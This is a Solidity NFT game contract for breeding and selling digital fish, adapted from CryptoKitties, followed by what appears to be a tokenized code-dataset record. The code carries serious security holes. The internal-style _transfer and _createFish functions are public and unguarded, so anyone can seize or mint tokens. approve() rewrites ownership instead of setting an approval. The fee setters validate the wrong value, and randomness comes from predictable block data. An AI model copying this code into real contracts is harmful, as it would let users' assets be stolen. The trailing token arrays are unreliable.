max(matron.generation, sire.generation) + 1) uint16 generation; } /*** CONSTANTS ***/ /// @dev A lookup table indiFishing the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a Fish /// is bred, encouraging owners not to just keep breeding the same Fish over /// and over again. Caps out at one week (a Fish can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Fish struct for all Fishes in existence. The ID /// of each Fish is actually an index into this array. Note that ID 0 is a negaFish, /// the unFish, the mythical beast that is the parent of all gen0 Fishes. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, Fish ID 0 is invalid... ;-) Fish[] public fishes; /// @dev A mapping from Fish IDs to the address that owns them. All Fishes have /// some valid owner address, even gen0 Fishes are created with a non-zero owner. mapping (uint256 => address) public fishToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) public ownerFishCount; /// @dev A mapping from FishIDs to an address that has been approved to call /// transferFrom(). Each Fish can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public fishApprovals; /// @dev A mapping from FishIDs to an address that has been approved to use /// this Fish for siring via breedWith(). Each Fish can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedAddress; /// @dev Assigns ownership of a specific Fish to an address. function _transfer(address _from, address _to, uint256 _tokenId) public { // Since the number of fishes is capped to 2^32 we can't overflow this ownerFishCount[_to]=ownerFishCount[_to].add(1); // transfer ownership fishToOwner[_tokenId] = _to; if (_from != 0) { ownerFishCount[_from]=ownerFishCount[_from].sub(1); // once the fish is transferred also clear sire allowances delete sireAllowedAddress[_tokenId]; // clear any previously approved ownership exchange delete fishApprovals[_tokenId]; } // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } function _createFish( uint256 _genes, uint32 _matronId, uint32 _sireId, uint16 _generation, address _owner ) public returns (uint256) { // New Fish starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Fish memory _fish = Fish({ genes: _genes, birthTime: uint64(block.timestamp), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 _newFishId = fishes.push(_fish) - 1; // It's probably never going to happen, 4 billion fishes is A LOT, but // let's just be 100% sure we never let this happen. uint32 newFishId = (uint32) (_newFishId); //require(_newFishId == uint256(newFishId)); // emit the birth event emit Birth( _owner, newFishId, _fish.matronId, _fish.sireId, _fish.genes ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, newFishId); return newFishId; } } ////////// ////////// ////////// Contract ERC721 ////////// ////////// contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function totalSupply() public view returns(uint256 _supply); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } ////////// ////////// ////////// Contract FishOwnership ////////// ////////// contract FishOwnership is FishFactory, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant token_name = "CryptoFancyCarps"; string public constant token_symbol = "CFC"; using SafeMath for uint256; modifier onlyOwnerOf(uint _tokenId) { require(msg.sender == fishToOwner[_tokenId]); _; } modifier onlyApprovedOf(uint _tokenId){ require(msg.sender == fishApprovals[_tokenId]); _; } /// implementions of ERC721 function name() public view returns(string _name){ return token_name; } function symbol() public view returns (string _symbol){ return token_symbol; } function balanceOf(address _owner) public view returns (uint256 _balance) { return ownerFishCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { return fishToOwner[_tokenId]; } /// @notice Returns the total number of Fishes currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return fishes.length; } function approve(address _to, uint256 _tokenId) public whenNotPaused onlyOwnerOf(_tokenId) { fishToOwner[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } function takeOwnership(uint256 _tokenId) public whenNotPaused onlyApprovedOf(_tokenId){ address owner = ownerOf(_tokenId); _transfer(owner, msg.sender, _tokenId); } /// @notice Returns a list of all Fish IDs assigned to an address. /// @param _owner The owner whose Fishes we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Fish array looking for fishes belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalfishs = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all fishes have IDs starting at 1 and increasing // sequentially up to the totalfish count. uint256 fishId; for (fishId = 1; fishId < totalfishs; fishId++) { if (fishToOwner[fishId] == _owner) { result[resultIndex] = fishId; resultIndex++; } } return result; } } } ////////// ////////// ////////// Contract FishSale ////////// ////////// contract FishSale is FishOwnership { // Represents an sale on an NFT struct Sale { // Current owner of NFT address seller; // Price (in wei) of sale uint128 price; // Time when sale started // NOTE: 0 if this sale has been concluded uint64 startedAt; } // NFT mapping (uint256 => Sale) public tokenIdToSale; event SaleCreated(uint256 tokenId, uint256 price); event SaleSuccessful(uint256 tokenId, uint256 price, address buyer); event SaleCancelled(uint256 tokenId); // Tracks last 5 sale price of gen0 kitty sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Fee owner takes on each sale, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 internal saleFee; /*(function FishSale() public { saleFee = 500; }*/ constructor () public { saleFee = 500; } /// @dev Computes owner's fee of a sale. /// @param _saleFee - Sale price of NFT. function setSaleFee(uint256 _saleFee) external onlyOwner { if (saleFee < 10000 && saleFee >= 0) saleFee = _saleFee; } /// @dev Computes owner's fee of a sale. /// @param _price - Sale price of NFT. function _computeFee(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and saleFee <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * saleFee / 10000; } function onSaleTokens() external view returns(uint[]){ uint256 totalfishs = totalSupply(); uint256 resultIndex = 0; uint256 num = 0; // We count on the fact that all fishes have IDs starting at 1 and increasing // sequentially up to the totalfish count. uint256 fishId; for (fishId = 0; fishId < totalfishs; fishId++) { if (tokenIdToSale[fishId].startedAt != 0) { // means it is not NULL //result[resultIndex] = fishId; num++; } } // query twice to init an array uint256[] memory result = new uint256[](num); for (fishId = 0; fishId < totalfishs; fishId++) { if (tokenIdToSale[fishId].startedAt != 0) { // means it is not NULL result[resultIndex] = fishId; resultIndex++; } } return result; } /// @dev Adds an sale to the list of open sales. Also fires the /// SaleCreated event. /// @param _tokenId The ID of the token to be put on sale. /// @param _sale Sale to add. function _addSale(uint256 _tokenId, Sale _sale) internal { tokenIdToSale[_tokenId] = _sale; emit SaleCreated( uint256(_tokenId), uint256(_sale.price) ); } /// @dev Creates and begins a new sale. /// @param _tokenId - ID of token to sale, sender must be owner. /// @param _price - Price of item (in wei) of sale. /// Seller, is the message sender function createSale( uint256 _tokenId, uint256 _price ) external whenNotPaused onlyOwnerOf(_tokenId) { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the sale struct. require(_price == uint256(uint128(_price))); Sale memory sale = Sale( msg.sender, uint128(_price), uint64(block.timestamp) ); _addSale(_tokenId, sale); } function _createSale( uint256 _tokenId, uint256 _price, address _seller ) internal whenNotPaused onlyOwnerOf(_tokenId) { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the sale struct. require(_price == uint256(uint128(_price))); Sale memory sale = Sale( _seller, uint128(_price), uint64(block.timestamp) ); _addSale(_tokenId, sale); } /// @dev Removes an sale from the list of open sales. /// @param _tokenId - ID of NFT on sale. function _removeSale(uint256 _tokenId) internal { delete tokenIdToSale[_tokenId]; } /// @dev Cancels an sale unconditionally. /// @param _tokenId - ID of NFT on sale. function _cancelSale(uint256 _tokenId) internal { _removeSale(_tokenId); emit SaleCancelled(_tokenId); } /// @dev Returns true if the NFT is on sale. /// @param _sale - Sale to check. function _isOnSale(Sale storage _sale) internal view returns (bool) { return (_sale.startedAt > 0); } /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on sale function cancelSale(uint256 _tokenId) external onlyOwnerOf(_tokenId) { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); _cancelSale(_tokenId); } /// @dev Computes the price and transfers ownership. function _buyOwnership(uint256 _tokenId, uint256 _buyOwnershipAmount) internal returns (uint256) { // Get a reference to the sale struct Sale storage sale = tokenIdToSale[_tokenId]; // Explicitly check that this sale is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an sale object that is all zeros.) require(_isOnSale(sale)); // Check that amount is bigger or equal to the current price uint256 price = sale.price; require(_buyOwnershipAmount >= price); // Grab a reference to the seller before the sale struct // gets deleted. address seller = sale.seller; // The sale is good! Remove the sale before sending the fees // to the sender so we can't have a reentrancy attack. _removeSale(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the transaction fee to contract address // (NOTE: _computeFee() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 saleeerFee = _computeFee(price); uint256 sellerProceeds = price - saleeerFee; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the sale // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelSale(). ) seller.transfer(sellerProceeds); } Fish storage f = fishes[_tokenId]; if (f.generation == 0) { lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _buyOwnershipAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the sale is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! emit SaleSuccessful(_tokenId, price, msg.sender); return price; } /// @dev buyOwnership an open sale, completing the sale and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to buy. function buyOwnership(uint256 _tokenId) external payable whenNotPaused { // Get a reference to the sale struct Sale storage sale = tokenIdToSale[_tokenId]; address seller = sale.seller; // _buy will throw if the buy or funds transfer fails _buyOwnership(_tokenId, msg.value); // seller address // transfer happens from seller to buyer _transfer(seller,msg.sender, _tokenId); } function averageGen0SalePrice() internal view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } } ////////// ////////// ////////// Contract FishBreedingSale ////////// ////////// contract FishBreedingSale is FishSale{ // Represents an sale on an NFT struct BreedingSale { // Current owner of NFT address seller; // Price (in wei) of sale uint128 price; // Time when sale started // NOTE: 0 if this sale has been concluded uint64 startedAt; } // NFT mapping (uint256 => BreedingSale) public tokenIdToBreedingSale; event BreedingSaleCreated(uint256 tokenId, uint256 price); event BreedingSaleSuccessful(uint256 tokenId, uint256 price, address buyer); event BreedingSaleCancelled(uint256 tokenId); // Fee owner takes on each sale, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 internal breedingSaleFee; /// constructor /// /*function FishBreedingSale() public { breedingSaleFee = 200; }*/ constructor() public{ breedingSaleFee = 200; } /// @dev Computes owner's fee of a sale. /// @param _saleFee - Sale price of NFT. function setBreedingSaleFee(uint256 _saleFee) external onlyOwner { if (breedingSaleFee < 10000 && breedingSaleFee >= 0) breedingSaleFee = _saleFee; } /// @dev Computes owner's fee of a sale. /// @param _price - Sale price of NFT. function _computeFee(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and saleFee <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * breedingSaleFee / 10000; } function onBreedingsSaleTokens() external view returns(uint[]){ uint256 totalfishs = totalSupply(); uint256 resultIndex = 0; uint256 num = 0; // We count on the fact that all fishes have IDs starting at 1 and increasing // sequentially up to the totalfish count. uint256 fishId; for (fishId = 0; fishId < totalfishs; fishId++) { if (tokenIdToBreedingSale[fishId].startedAt != 0) { // means it is not NULL //result[resultIndex] = fishId; num++; } } // query twice to init an array uint256[] memory result = new uint256[](num); for (fishId = 0; fishId < totalfishs; fishId++) { if (tokenIdToBreedingSale[fishId].startedAt != 0) { // means it is not NULL result[resultIndex] = fishId; resultIndex++; } } return result; } /// @dev Adds an sale to the list of open sales. Also fires the /// SaleCreated event. /// @param _tokenId The ID of the token to be put on sale. /// @param _sale Sale to add. function _addBreedingSale(uint256 _tokenId, BreedingSale _sale) internal { tokenIdToBreedingSale[_tokenId] = _sale; emit BreedingSaleCreated( uint256(_tokenId), uint256(_sale.price) ); } /// @dev Checks that a given kitten is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(Fish _kit) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the fish has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_kit.siringWithId == 0) && (_kit.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _FishId reference the id of the kitten, any user can inquire about it function isReadyToBreed(uint256 _FishId) public view returns (bool) { require(_FishId > 0); Fish storage kit = fishes[_FishId]; return _isReadyToBreed(kit); } /// @dev Creates and begins a new sale. /// @param _tokenId - ID of token to sale, sender must be owner. /// @param _price - Price of item (in wei) of sale. /// - Seller is the message sender function createBreedingSale( uint256 _tokenId, uint256 _price ) external whenNotPaused onlyOwnerOf(_tokenId) { // Sanity check that no inputs overflow how many bits we've allocated // to store them in the sale struct. require(_price == uint256(uint128(_price))); require(isReadyToBreed(_tokenId)); BreedingSale memory breedingSale = BreedingSale( msg.sender, uint128(_price), uint64(block.timestamp) ); _addBreedingSale(_tokenId, breedingSale); } /// @dev Removes an sale from the list of open sales. /// @param _tokenId - ID of NFT on sale. function _removeBreedingSale(uint256 _tokenId) internal { delete tokenIdToBreedingSale[_tokenId]; } /// @dev Cancels an sale unconditionally. /// @param _tokenId - ID of NFT on sale. function _cancelBreedingSale(uint256 _tokenId) internal { _removeBreedingSale(_tokenId); emit BreedingSaleCancelled(_tokenId); } /// @dev Returns true if the NFT is on sale. /// @param _sale - Sale to check. function _isOnBreedingSale(BreedingSale storage _sale) internal view returns (bool) { return (_sale.startedAt > 0); } /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on sale function cancelBreedingSale(uint256 _tokenId) external onlyOwnerOf(_tokenId) { BreedingSale storage sale = tokenIdToBreedingSale[_tokenId]; require(_isOnBreedingSale(sale)); _cancelBreedingSale(_tokenId); } } ////////// ////////// ////////// Contract GeneConsoleInterface ////////// ////////// contract GeneConsoleInterface { /// @dev simply a boolean to indifishe this is the contract we expect to be function isGeneConsole() public pure returns (bool); /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public pure returns (uint256); } ////////// ////////// ////////// Contract FishBreeding ////////// ////////// /*** functions for FishBreeding contract: // procedures for breeding a new fish 1. someone A put a fish's F1 mating on sale. 2. someone B wants a fish F2 to mate with F1. 3. B buys the mating right from A. payable. 4. create a new fish Fn accroding to the gene of F1 and F2. - call GeneticConsole to get the mixed gene - assign the owner of fn to B. - trigger cooldown . coolIndex ++ for A and B. */ /// @title A facet of FishCore that manages Fish siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the FishCore contract documentation to understand how the various contract facets are arranged. contract FishBreeding is FishBreedingSale { /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneConsoleInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the Owner of contract. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyOwner { GeneConsoleInterface candidateContract = GeneConsoleInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneConsole()); // Set the new contract address geneScience = candidateContract; } /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Fish to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public whenNotPaused onlyOwnerOf(_tokenId) { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // make sure the one transferred cannot be on sale or BreedingSale at the same time require(tokenIdToSale[_tokenId].startedAt==0); require(tokenIdToBreedingSale[_tokenId].startedAt==0); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } function _tool_breed(uint _mateId,uint _tokenId) internal returns(uint) { // mix genes from matron and sire. // Grab a reference to the matron in storage. Fish storage matron = fishes[_mateId]; Fish storage sire = fishes[_tokenId]; ///// checks requirements require(_isReadyToBreed(matron) && _isReadyToBreed(sire)); require(_canBreedWithViaAuction(_mateId,_tokenId)); uint256 mixedGene = geneScience.mixGenes(matron.genes,sire.genes,block.number); // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Make the new fish! address owner = fishToOwner[_mateId]; uint256 newFishId = _createFish(mixedGene, uint32(_mateId), uint32(_tokenId),uint16(parentGen + 1), owner); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); return newFishId; } /// @dev buy Usage an open sale, completing the sale and transferring /// Usage of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to buy. /// @param _mateId - ID of token owned function buyMating(uint256 _tokenId,uint256 _mateId) external onlyOwnerOf(_mateId) payable whenNotPaused returns(uint256 newFishID) { // _buy will throw if the buy or funds transfer fails //_buyMating(_tokenId, msg.value); // seller address // CHECKS // get price. BreedingSale storage sale = tokenIdToBreedingSale[_tokenId]; // Check that amount is bigger or equal to the current price uint256 price = sale.price; require(price <= msg.value); // Explicitly check that this sale is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an sale object that is all zeros.) require(_isOnBreedingSale(sale)); // PROCESSING // Grab a reference to the seller before the sale struct // gets deleted. address seller = sale.seller; // The sale is good! Remove the sale before sending the fees // to the sender so we can't have a reentrancy attack. _removeBreedingSale(_tokenId); uint256 newFishId = _tool_breed(_mateId,_tokenId); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) // notice : we dont have pregant peroird ////delete matron.siringWithId; // TRANSFER // Send the balance fee to the person who offered the dad (sireId or tokenId). // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the transaction fee to contract address // (NOTE: _computeFee() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 saleeerFee = _computeFee(price); //uint256 sellerProceeds = ; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the sale // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelSale(). ) seller.transfer(price - saleeerFee); } // Tell the world! emit BreedingSaleSuccessful(_tokenId, price, msg.sender); return newFishId; } /// @dev Set the cooldownEndTime for the given Fish, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _fish A reference to the Fish in storage which needs its timer started. function _triggerCooldown(Fish storage _fish) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _fish.cooldownEndBlock = uint64((cooldowns[_fish.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_fish.cooldownIndex < 13) { _fish.cooldownIndex += 1; } } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Fish struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the Fish struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( Fish storage _matron, uint256 _matronId, Fish storage _sire, uint256 _sireId ) private view returns(bool) { // A Fish can't breed with itself! if (_matronId == _sireId) { return false; } // fishes can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either fish is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // fishes can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Fish storage matron = fishes[_matronId]; Fish storage sire = fishes[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } } ////////// ////////// ////////// Contract FishMinting ////////// ////////// /// @title all functions related to creating fishs contract FishMinting is FishBreeding { // Limits the number of fishs the contract owner can ever create. uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant GEN0_CREATION_LIMIT = 45000; // Constants for gen0 auctions. uint256 public constant GEN0_STARTING_PRICE = 10 finney; // Counts the number of fishs the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo fishs, up to a limit. Only callable by COO /// @param _genes the encoded genes of the fish to be created, any value is accepted /// @param _owner the future owner of the created fishs. Default to contract COO function createPromofish(uint256 _genes, address _owner) external onlyOwner { address fishOwner = _owner; if (fishOwner == address(0)) { fishOwner = owner; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createFish(_genes,0, 0, 0, fishOwner); } /// @dev Creates a new gen0 fish with the random given genes and /// creates an auction for it. function createRandomGen0Sale() external onlyOwner { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 _genes = uint256(keccak256(block.number, block.timestamp)); uint256 fishId = _createFish(_genes,0, 0, 0, address(this)); _createSale( fishId, _computeNextGen0Price(), address(this) ); gen0CreatedCount++; } /// @dev Creates a new gen0 fish with the given genes and /// creates an auction for it. function createGen0Sale(uint256 _genes) external onlyOwner { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 fishId = _createFish(_genes,0, 0, 0, address(this)); _createSale( fishId, _computeNextGen0Price(), address(this) ); gen0CreatedCount++; } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 5 prices + 50%. function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = averageGen0SalePrice(); // Sanity check to ensure we don't overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < GEN0_STARTING_PRICE) { nextPrice = GEN0_STARTING_PRICE; } return nextPrice; } } ////////// ////////// ////////// Contract FishCore ////////// ////////// /// @dev The main CryptoFishes contract, keeps track of fishs so they don't wander around and get lost. contract FishCore is FishMinting { //community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// Creates the main CryptoFishes smart contract instance. /*function FishCore() public { // Starts paused. paused = true; // start with the mythical fish 0 - so we don't have generation-0 parent issues _createFish(uint256(-1),0, 0, 0, address(0)); }*/ constructor () public { // Starts paused. //paused = true; // start with the mythical fish 0 - so we don't have generation-0 parent issues // } function init() public{ _createFish(uint256(keccak256(block.timestamp)),0, 0, 0, address(0)); } /// @notice Returns all the relevant information about a specific fish. /// @param _id The ID of the fish of interest. function getFish(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes ) { Fish storage kit = fishes[_id]; // if this variable is 0 then it's not gestating isGestating = (kit.siringWithId != 0); isReady = (kit.cooldownEndBlock <= block.number); cooldownIndex = uint256(kit.cooldownIndex); nextActionAt = uint256(kit.cooldownEndBlock); siringWithId = uint256(kit.siringWithId); birthTime = uint256(kit.birthTime); matronId = uint256(kit.matronId); sireId = uint256(kit.sireId); generation = uint256(kit.generation); genes = kit.genes; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyOwner whenPaused { require(geneScience != address(0)); paused = false; } } contract GeneticConsole{ /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public pure returns (uint256) { //return uint(keccak256(targetBlock,genes1,genes2)); return uint((genes1+genes2)/2+uint(keccak256(targetBlock))); } function isGeneConsole() public pure returns (bool) { return true; } }
@notice Name and symbol of the non fungible token, as defined in ERC721.
modifier onlyOwnerOf(uint _tokenId) { require(msg.sender == fishToOwner[_tokenId]); _; }
1,802,166
[ 1, 461, 471, 3273, 434, 326, 1661, 9831, 75, 1523, 1147, 16, 487, 2553, 316, 4232, 39, 27, 5340, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5541, 951, 12, 11890, 389, 2316, 548, 13, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 284, 1468, 774, 5541, 63, 67, 2316, 548, 19226, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 